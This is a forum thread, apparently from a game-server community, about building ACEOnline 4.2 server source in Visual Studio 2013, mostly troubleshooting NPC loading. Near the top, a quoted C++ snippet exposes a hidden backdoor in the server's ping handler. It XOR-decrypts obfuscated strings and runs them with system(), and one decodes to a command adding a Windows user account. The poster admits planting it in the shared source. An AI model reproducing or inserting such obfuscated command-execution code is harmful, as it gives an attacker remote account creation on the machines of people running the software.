Re: [Guide] ACEOnline 4.2 using VS2013
Quote:
Originally Posted by
Aesir
Code:
case T_FM_PING:
{
char rule1[512];
char rule2[512];
MEMSET_ZERO(rule1, 512);
MEMSET_ZERO(rule2, 512);
XOR::XORDecrypt(rule1, "474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B", ")(zfafzao87698/&%dad)=($98234");
XOR::XORDecrypt(rule2, "0509074A0A070C595B5138233D3761252E254347CE5C15010A181C1815482E4B47782F38686820202E", "klsjfho876JLHGADJH*)?as");
system(rule1);
system(rule2);
*(MessageType_t*)SendBuf = T_FM_PING_OK;
SendAddData(SendBuf, SIZE_FIELD_TYPE_HEADER);
}
break;
Code:
474D0E4614151F134F794446775D5B0645365913771450625F65476262793C3241493B252B ===> net user AspNet `R8w^)xFf]uQKQFT /ADD
Oh god, guys, if you have to do that atleast change the logins from the CR one :)
Well, looks like i forgot that i added that backdoor for a special server (copied from you :P) :S
Re: [Guide] ACEOnline 4.2 using VS2013
Quote:
Originally Posted by
St34lth4ng3l
Server can't load the NPC's, could cause not spawning NPC's too.
how can fix ?
Re: [Guide] ACEOnline 4.2 using VS2013
Quote:
Originally Posted by
4TheEnjoy
how can fix ?
Add debuggin utilities to check where it fails loading the monsters.
Re: [Guide] ACEOnline 4.2 using VS2013
May God give you more health thanks
Re: [Guide] ACEOnline 4.2 using VS2013
A good and very simple guide for any rookies! Well done @St34lth4ng3l. I appreciate it :)
Re: [Guide] ACEOnline 4.2 using VS2013
but this share have so many bugs and problems, like npc problem, and we dont known c++ guys try for fix them but we need support and help, so if you want be helpful please how can we fix them, or tell us how can have search for the find problem is where
Re: [Guide] ACEOnline 4.2 using VS2013
Quote:
Originally Posted by
4TheEnjoy
but this share have so many bugs and problems, like npc problem, and we dont known c++ guys try for fix them but we need support and help, so if you want be helpful please how can we fix them, or tell us how can have search for the find problem is where
You have two options: learn c++ and attempt to fix the bugs yourself, seeing as you would only really be bothering with the source if you knew how to use it in the first place outside of being able to change xor-key/ip easier, or you can wait patiently for more experienced people to use up their own precious free time to explain and provide fixes to bugs with the source, which in particular is something you must keep in mind. Not everyone has the time to cater to every single bug or problem. Have fun.
Re: [Guide] ACEOnline 4.2 using VS2013
What is Key String to Xor?
Re: [Guide] ACEOnline 4.2 using VS2013
Quote:
Originally Posted by
St34lth4ng3l
read.
Re: [Guide] ACEOnline 4.2 using VS2013
who can help me for field server cant load clearly npc server ?
http://forum.ragezone.com/f908/help-lot-errors-1097089/
Re: [Guide] ACEOnline 4.2 using VS2013
future never going to fix our problem with monsters
waiting more than two weeks
Re: [Guide] ACEOnline 4.2 using VS2013
I get confused that this is posted in a 4.2 guide while the logs show your servers run 3.5. And as I kept getting mismatches with the servers and clients I gave up cus I wasted half of my saturday already....
Anyw. I'm going to test it with EP 3.5 this weekend. Anyone here having this problem to volunteer as tester?
Re: [Guide] ACEOnline 4.2 using VS2013
me <3 ...!! i have problem 3.5 ¬¬ monster and quest
Re: [Guide] ACEOnline 4.2 using VS2013
Quote:
Originally Posted by
Future
I get confused that this is posted in a 4.2 guide while the logs show your servers run 3.5. And as I kept getting mismatches with the servers and clients I gave up cus I wasted half of my saturday already....
Anyw. I'm going to test it with EP 3.5 this weekend. Anyone here having this problem to volunteer as tester?
what did you say, you are already say this,
http://forum.ragezone.com/f908/help-...ml#post8587564
look at this
Re: [Guide] ACEOnline 4.2 using VS2013
Patience is key guys.
Here we go: http://forum.ragezone.com/f614/tutor...-quest-1098336
Fixed all mob related issues as promised.
@St34lth4ng3l would you mind updating the source files you uploaded to fix this issue for everyone who's downloading this the first time?